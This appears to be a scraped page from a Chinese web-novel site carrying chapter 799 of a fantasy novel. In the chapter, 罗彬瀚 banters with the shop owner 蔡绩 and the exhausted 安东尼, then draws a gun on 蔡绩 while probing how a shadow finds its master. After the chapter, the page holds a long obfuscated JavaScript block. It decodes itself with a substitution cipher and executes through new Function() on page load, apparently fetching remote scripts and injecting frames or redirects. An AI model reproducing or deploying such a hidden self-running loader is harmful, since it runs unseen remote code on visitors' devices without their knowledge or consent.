首页
[切换至繁体版]
返回

799 问吉(上)

章节报错(免登陆)
下载APP,无广告、完整阅读

新笔趣阁(52xbq.com)更新快,无弹窗!

    “晚上好!”罗彬瀚说。
    正要从店里出来的蔡绩站住了。他只朝罗彬瀚春风满面的脸看了一眼,接着便把迈出去的半只脚收回来,毅然决然地关上店门。
    “干什么?”罗彬瀚伸出一只脚卡住门,手里也使劲把门往回拽,“我可是客人呐!”
    “打烊了!”
    “你里头还有别人呢!”罗彬瀚嚷道,“别当我没瞧见人影!”
    “不接待!”
    “这就是你开店的态度吗?”罗彬瀚质问道,“我要找你老板投诉!”
    也许这话真起到了效果,也许只是不想惊动店里的其他人,对方拽门的手松懈了。罗彬瀚见缝就钻了进来,站在走道里整衣服,抹掉从檐边坠到脸上的雨滴。“这鬼天气又湿又闷,赶紧来杯冰的。”
    蔡绩阴恻恻地瞧了他一眼,转身往柜台走。罗彬瀚像背后灵那样前后脚缀着他,用手戳他的肩膀。“你这样的服务态度怎么能赚钱呢?看到客人也没个笑脸,别人还以为咱们关系不好呢!”
    蔡绩张开嘴猛吸了口气,眼看就要准备骂人。但罗彬瀚已经瞥见了店里的另外两个客人。“哟!”他首先冲认识的那个打了声招呼,“你已经好啦?”
    红头发的安东尼坐在他往常的位置上,正全心扑在自己的电脑上。听到罗彬瀚的声音时他抬起头,目光无神地乱扫了一圈,然后才说:“啊,是你……嗯,我好了。”然后又埋头干自己的去了。
    罗彬瀚又用余光瞥了眼另一个客人。是个年轻女孩,独自坐在窗边,头上戴着耳机,正埋头用平板读书。她的侧脸依稀有点眼熟,罗彬瀚细想了几秒,确信自己的确见过她,是初次来这儿的时候,这女孩多看了陈薇几眼。可能是觉得陈薇的样子挺特别,但也没有别的表示,看来她不是个好奇心重的人。他倒希望俞晓绒的好奇心也跟她一样少。
    来之前他没想过店里还有别人,只好搬了把椅子挨着柜台坐下,等这两个喜好僻静的客人走了再说。他刚把胳膊搭上柜台,蔡绩就黑着脸,将台上所有零碎都从他周围搬走,然后紧挨着深处的酒柜,在罗彬瀚胳膊绝对够不着的位置坐下了。罗彬瀚轻轻吹了两下口哨,他立刻转过身,从柜子底部拿出一本册子看起来。
    “嘿,看什么呢?”罗彬瀚说着,把脑袋探过去觑那本书。蔡绩立刻把册子用双手掩盖住,对着他怒目而视。
    “你给我滚出去。”
    “我干嘛要滚出去?你今天早上还叫我留在这儿呢。”
    “我是让你留下来避难的!”蔡绩低吼道,“你想找死就滚出去!”
    “我不想找死呀。”罗彬瀚依旧悠闲地说,“我晚上来这儿避难,白天出去上班。多健康的生活!”
    如果不是后头还坐着两个外人,罗彬瀚估计自己可能已经被丢出去了。他观察着蔡绩起伏的胸膛,心想这件事实在古怪——这些带着影子血的人竟然还在呼吸。难道他们还在继续把氧气泵进泵出,让氧合血红蛋白跑遍全身?可他们变成影子的时候,身上的血,脑浆,组织液……这些又都去哪儿呢?蔡绩会呼吸,周温行也会。罗得呢?他有点记不清楚了,依稀也是会的。唯独阿萨巴姆完全不在乎这一套。她真的可以静得跟个拐杖似的。
    他猜想这是因为她就从来没有做过人,或是任何一种跟生物学讲道理的生命。她诞生时起就已经是风的化身。至于蔡绩和罗得?他们两个无疑都是人。至于周温行,他后悔没有向荆璜更仔细地打听过这东西的身世,因为他打心里觉得这一切都犯不到他。除了一点外头谁也瞧不上的乡下财富,他身上没什么有价值的东西。正如李理向他叩问的那样:动机到底是什么?在月亮上的花朵开放以前,那东西能从他这儿得到什么?
    他盯着柜台边上的一朵纸花,不由自主地开口说:“我想向你打听……”
    一声充满绝望的喊叫打断了他。罗彬瀚的手痉挛了一下,差点把枪从外衣口袋里掏出来。蔡绩也在同时猛然抬头。他们紧张兮兮地瞧见安东尼用双手捂着脸,电脑屏幕的刺目白光却照亮了他的面孔,叫人瞧见指缝之间露出两只死鱼般的眼睛。
    “别!别!别!”他崩溃地喊道,“别死机——”
    屏幕的白光陡然变成蓝色,把他那张疲倦肿胀的脸照得跟个枉死鬼一样。旋即连蓝光也熄灭了,安东尼张大嘴巴僵在原地,罗彬瀚和蔡绩都瞪着他。罗彬瀚先回过神,朝自己脑袋后头招招手:“他这是正常的吗?”
    “这几天都有点吧,说他遇到个什么麻烦。”
    “你店里就允许他这样嚷嚷吗?”罗彬瀚问,“我这样嚷嚷你会不管?你不怕把别的客人吓跑了?”
    蔡绩一声话儿也不应。罗彬瀚撇头瞄瞄他,见他脸上是副尽力装出不在乎的神气。“他就是你最大的客户了吧?”
    “……和你无关。”
    这时,戴着耳机的女孩也被惊动了。她茫然地摘下耳机,瞧了瞧店内另三个人,又看了一眼平板上的时间,立刻匆匆忙忙地站起来,收拾起自己的书包走了。
    “哎呀!”罗彬瀚歪靠在柜台上说,“吓跑一个咯!”
    “她本来就这个时间段走的!”蔡绩怒气冲冲地说。
    “平时也这么小跑着逃出去吗?”
    “因为你在这里屁话把她吓跑了!”
    “胡扯,”罗彬瀚说,“瞧瞧我们这三兄弟,我已经是打扮得最像样的了。”
    蔡绩冷笑起来,把手中的册子往柜台边一丢,说道:“看着人模狗样,怎么就知道不是衣冠禽兽?”
    “高考英语高频词汇。”罗彬瀚照着册子上的标题念道,“高效词根加联想记忆法速成黄金攻——”
    蔡绩丢开册子,眼看就要闯出柜台来理论,安东尼已经先从他的位置上站了起来,飘飘荡荡地挪到柜台前。罗彬瀚仔细打量他几眼,见他两只眼睛完全是涣散的,皮肤油得发光,乱蓬蓬的头发都已经快结成缕了。当他开口要再拿杯冰可乐时,说话的声音也完全哑了。
    “怎么啦?”罗彬瀚问,“工作遇麻烦了?”
    “别的事。”安东尼说,他盯着罗彬瀚,反应了好一阵才似乎想起来他是谁。“……你最近怎么样?”
    “还行。”
    “你脖子上那个贴是怎么回事?”
    “路上被狗抓的。”
    蔡绩砰地把一瓶可乐放到桌上,然后面无表情地和罗彬瀚对视了一眼。“路上碰见条野狗,”罗彬瀚瞧着他说,“从黑地里蹿出来,给了我一下。”
    “是你先去招惹的吧?”蔡绩说。
    “真可怕。”安东尼目光无神地问,“你去打过狂犬疫苗了吗?”
    “打了。你有多久没睡觉了?”
    “我不记得了。”
    “我看你至少有四十个小时没睡了。”罗彬瀚说,“去睡一觉吧。”
    “噢……我还有件事没搞定……就快了……我还差一点就想明白了……”
    “需要一点顿悟?”罗彬瀚说,“可能睡一觉就有了哦?”
    他兜里的手机猛烈震动起来,抖个没完没了。罗彬瀚若无其事地伸手把它按住。“好了,当我没说。但你确实该去休息一下了。瞧,连你的电脑都休息了。”
    其实他真心希望安东尼离开,好让他能和蔡绩单独谈话。可这个外国佬偏偏也拉了把椅子坐下了。他趴在柜台上,像醉鬼挣扎着喝下今天最后一瓶酒般掀开可乐罐的拉环,咕嘟咕嘟地往下灌。罗彬瀚知道他不会马上走,只好扭脸瞅瞅蔡绩,无可奈何地一笑。
    “也给我点喝的啊。”他说,“怎么?就我付不起账吗?”
    蔡绩不情愿地把另一瓶可乐丢到他面前。罗彬瀚看了眼里头翻滚的液体,不敢立刻打开,只能搁在柜台上,用手指一下下弹着瓶身。
    “你们俩和好了?”安东尼放下瓶子问。
    “什么话!”罗彬瀚说,“我俩本来就可要好了。”
    “也行吧。那你的问题怎么样了?”
    “什么问题?”
    安东尼看了看蔡绩,然后用手点着自己的脑袋。“你说过的小问题,记得吗?”
    “啊,那个。”罗彬瀚说,“没有。我放弃了。”
    红发外国佬原本无神的眼睛突然有了点动静。他疑惑地瞧了瞧罗彬瀚。“你放弃了?”他迟疑地问,“你是说你再也不想知道自己忘掉的东西了?”
    “对。我想通了。那些都不重要。”
    “可是我记得……”
    “这段时间我认识了一个女孩。”罗彬瀚说,“她挺好的。我不想再追究以前的事了。”
    “啊,这样。”
    安东尼不知所措似地发了一会儿呆,接着又勉强说:“这是好事,嗯,能放下。恭喜你。能放下是好事。”
    “你待在我们这个地方有些日子了。”罗彬瀚问,“我倒也不是不欢迎,但你老家就没谁惦记你吗?还是你已经准备在这儿长期定居?”
    “我得回去。”安东尼说。但过了一会儿他又说:“我还得在这里待一阵子。”
    罗彬瀚本想把话题就此打住。他和这个可怜的外国佬不过就是泛泛之交,但不知怎么,俞晓绒的脸闪进了他的脑袋里。这红头发的家伙也是个来到异乡的外客,身边没有能说得上话的人,看起来也不是在心甘情愿地享受孤独之乐。
    “你也应该往前走了。”他有点莽撞地说,“你有个姐姐,对吧?而且我印象里你们关系还挺好的。如果她看到你现在这样会伤心的。”
    “是,她会的。”安东尼喃喃地说。他的视线又迷离了。“我答应过她能照顾好自己的。唉……我只是……”
    “还在想前女友的事?”
    安东尼模糊地咕哝了几句,全是用英语说的,罗彬瀚没怎么听清楚。只能大概听见“她是个混蛋”之类的话。他耸耸肩,想起俞晓绒告诉他有个试图追求昂蒂·皮埃尔的哥们有个多么悲伤的结局。
    “唉,”罗彬瀚拍拍他的背,“女人!”
    “少在我的店里谈女人。”蔡绩冷笑着说道,“想干什么肮脏事滚出去干。”
    “这里只有一个人满脑袋肮脏事,还从来没有接触过女人。”罗彬瀚快乐地哼唱道,“是谁我不说——”
    蔡绩对他怒目而视。罗彬瀚又朝店里到处张望了一圈。“话说那鹦鹉呢?”他问道,“你把那小玩意丢哪儿去了?周雨出差还没回来啊。”
    “我烤熟吃了。”蔡绩冷冷地说。
    罗彬瀚满不在乎地说:“那给我的单子打个折扣?”
    “你立刻滚出去我就给。”
    “我要是问了会让你们不高兴吗?”安东尼插嘴说,“你俩到底有什么过节?”
    “一点小过节。我弟弟和他上一份工作的老板打过架,害他把饭碗丢了。”
    “你管这叫小过节!”蔡绩暴怒道。
    “然后他开了这家店。”罗彬瀚继续说,“我不久前刚晓得这件事。不知怎么他打听到我和我弟弟的关系,而且还认识了我。”
    安东尼点点头。“原来是这样,”他说,“嗯……我不是想多管闲事,但你最好留神点你那个弟弟。要是没人看着,他可能会干出更严重的事。我中学就有一个家伙,起初爱欺负人,后来抢劫被抓进去了。”
    “这里每个人都有兄弟姐妹的烦恼。”罗彬瀚说,“只有一个人除外,是谁我不说。”
    蔡绩低着头慢慢擦拭一只干净的杯子。店里的灯光似乎越来越不足,湿寒的细风从阴影中渗透出来。安东尼打了个喷嚏,把剩下的可乐全灌进嘴里。
    “我该走了。”他揉揉鼻子,“我确实得休息休息,否则就得感冒了。下次见。”
    他结了可乐的钱,然后跳下椅子,夹着自己的电脑走出了店门。罗彬瀚转过身目送他离开,然后说:“我感觉他的气色越来越差了,希望他早点回自己的老家去。”
    “你也好滚回老家去了。”蔡绩说。
    “为什么?你昨天还希望我留下来躲着呢。”罗彬瀚转回身来说,“我就特别想知道,如果那个东西是冲我来的,我躲在这里真的安全吗?”
    “你不会直接告诉他地址了吧?”
    “那倒没有。可要是他自己找过来了呢?如果你叫我留在这里只是因为他不知道地址,我随便找个宾馆住着也可以嘛,还可以去外地旅旅游呢。”罗彬瀚仰着脑袋说,“把王八脖子那么一缩呀——”
    “你知道他有多危险吗!”蔡绩吼道,“少他妈跟我嬉皮笑脸的!”
    罗彬瀚坐得端正了一些。“行啊,”他说,“那,一言以蔽之,我要杀了他。就这么敲定了。”
    蔡绩的脸颊抽搐了一下。“就凭你?”
    “还有我的全球一网通智能小手机。”罗彬瀚说,“但,确实,今天傍晚我试了试,这似乎不太够。所以我寻思着能不能找你老板谈一谈。我知道我们没法见面,可你至少能给我捎几句话嘛。”
    蔡绩明显在犹豫。“现在不行,”最后他说,“得过一阵子……我现在也联系不上他。”
    “她干嘛呢?不就是忙着在阴间开监狱吗?”
    “我不能随时过去。”蔡绩说,“我……不是死魂。”
    他肯定还有话没吐出来,但罗彬瀚并不想追究到底,他的目的本来就在别处。“你到底要多久才能联系上她?然后再回复给我?”
    “至少几个星期吧。”
    “太久了。”罗彬瀚立刻说,“没那么多时间。”
    蔡绩嘲笑道:“你急着赶日子出殡吗?”
    “我急着去月亮上摘花。”
    “啊?”
    “今天傍晚我找他聊了聊。”罗彬瀚说,“谈了好些不知所谓的东西——但,我有个朋友最近一直没消息,他好心地告诉我说,我亲爱的朋友可能背着我跑到了月亮上,去摘一朵他种上去的花。要是我没想错,等那花儿开起来的时候,我们这里会变得非常,非常,非常热闹。”
    “……什么意思?”
    罗彬瀚使劲回忆着宇普西隆的话。“这是一类植物的统称。”他尽量准确地复述自己听过的说法,“它们的孢子能在宇宙中游动,只要不是完全黑暗,有一点光就能游得非常快。而当它们找到有生命迹象的星球时,马上就落地生长,释放出对当地物种具有迷幻效果的气体,让所有生命都快乐得忘乎所以。同时它们还释放一种信号。不是电磁波,而是……而是一种具有超空间性质的信号,那会吸引对浪潮敏感的生物来到这里捕食。”
    蔡绩盯着他足有一分钟,然后说:“你什么意思?”
    “呃,让我再重新组织下语言。”罗彬瀚说,“月亮开花花,咱们死翘翘。”
    他仰头看了看天花板,有点好奇地问:“你老板那地方住得下几十亿死鬼吗?还是他会把没户口的都赶出去?”
    蔡绩已经松开了手上擦着的杯子。过了好一会儿后他问:“你那个朋友呢?他也不是普通人吧?”
    “他在月亮上呢。”罗彬瀚说,“可问题就在这里:第一,他其实是个主要搞治疗的;第二,咱们的吉他手也知道他在那里;第三,如果他搞得定,那早就应该回来跟我邀功了。他最终能搞得定吗?我不好说,但我决定在下头帮他一把。”
    蔡绩沉默无言地坐下了。有一阵子他似乎想说点什么,但最后又咽回肚子里。“真的时间那么紧吗?”他问道,“如果再等一两个月的话……”
    “也许麻烦就自己消除了。”罗彬瀚接着他的话说,“我哪能说得准呢?也许他根本没在月亮上种东西?也许那花长不起来?也许你老板还能在阴间把它掐死?也许外头路过个什么神仙就随手把它拔了?我没说这不可能,但是我要干我自己的,懂了吗?如果那花最后长出来了,而我拿它没办法,至少种它的人必须跟着我一起走。这就是我的意思。我不会再改主意了。”
    蔡绩转开了脸。“我打不过他,”他辩解似地说,“不是我胆小……如果我靠近他的话,就什么都做不了。我……没办法行动。”
    “为什么?”罗彬瀚紧盯着他问,“那到底会是什么感觉?”
    “是声音……影子的……声音。”
    这正是罗彬瀚想听见的话。他看见蔡绩的两只手掌已经不自觉地盖住脑袋,用手指使劲地抓挠头皮,仿佛头皮底下有什么东西在爬。有一瞬间,他觉得那双手掌底下的脸像罗得。
    他很快就定住神,起身逼向柜台深处。“你说过有一段时间,你对外面的世界什么也瞧不见。”他绕进柜台里,“听不懂别人的话,认不出文字,最后什么有意义的东西都看不见了。对不对?你觉得像是变成了某种没有视觉的生物。”
    他在蔡绩面前蹲下,打量那张躲在手掌底下不断痉挛的脸。当对方漆黑无光的眼睛斜过来瞥向他时,他感到自己全身的毛发都竖了起来。
    “一直持续到你听见某个人的声音。”他继续说,手插进兜里抓住了枪。“你就一直追着这个声音走,直到被那个女煞星抓住。”
    他注视着那张扭曲狰狞的脸。那面孔上的嘴张开了,吐出的声音却十分陌生,像从黑黢黢的洞穴里刮出一阵呼呼的风。
    “别说了……”
    “你有没有想过你抓住那个声音的主人时会发生什么?”罗彬瀚继续问,“那个声音会有确切的形体吗?会突然使你有触觉和听觉吗?”
    “别说了!”
    “我不得不说,”罗彬瀚退了一步,把枪从口袋里掏了出去,“不是故意针对你,但我一定得搞清楚这点。”
    “搞,清楚,又,怎么样?”
    “然后我们去杀人呀。”罗彬瀚说,“这就是一切的关键。影子怎样找到它的主人,咱们就怎样杀了他。”
    (本章完)
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();